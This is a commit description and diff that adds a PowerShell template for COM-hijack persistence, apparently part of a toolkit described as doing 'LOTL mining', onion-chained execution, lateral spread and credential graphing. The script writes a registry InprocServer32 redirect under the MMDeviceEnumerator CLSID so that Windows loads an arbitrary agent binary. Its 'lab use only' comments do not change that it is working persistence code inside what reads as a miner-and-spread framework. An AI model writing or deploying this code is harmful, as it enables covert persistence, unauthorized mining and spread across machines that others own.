Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/winrm/com-hijack.ps1

@@ -0,0 +1,23 @@
+# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
+# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
+# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
+$ErrorActionPreference = 'SilentlyContinue'
+
+if ('{{COM_HIJACK}}' -ne 'true') {
+  Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
+  exit 0
+}
+
+# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
+$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
+$agentPath = '{{AGENT_PATH}}'
+if (-not (Test-Path $agentPath)) {
+  Write-Error "Agent path missing: $agentPath"
+  exit 1
+}
+
+$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
+New-Item -Path $base -Force | Out-Null
+Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
+Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
+Write-Host "COM hijack registered under $clsid -> $agentPath"